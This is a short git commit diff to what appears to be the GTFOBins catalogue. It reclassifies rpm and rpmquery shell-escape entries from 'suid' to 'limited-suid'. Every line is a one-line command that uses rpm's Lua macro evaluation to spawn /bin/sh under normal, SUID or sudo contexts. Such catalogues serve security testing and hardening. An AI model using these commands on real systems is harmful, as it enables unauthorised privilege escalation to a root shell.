Fix rpm[query] SUID

This commit is contained in:
Andrea Cardaci 2021-01-10 18:25:55 +01:00
parent 33fb39a183
commit bb4050810e
2 changed files with 4 additions and 4 deletions

View File

@ -2,8 +2,8 @@
functions:
shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
suid:
- code: ./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}'
limited-suid:
- code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: |

View File

@ -2,8 +2,8 @@
functions:
shell:
- code: rpmquery --eval '%{lua:posix.exec("/bin/sh")}'
suid:
- code: ./rpmquery --eval '%{lua:posix.exec("/bin/sh", "-p")}'
limited-suid:
- code: ./rpmquery --eval '%{lua:os.execute("/bin/sh")}'
sudo:
- code: sudo rpmquery --eval '%{lua:posix.exec("/bin/sh")}'
---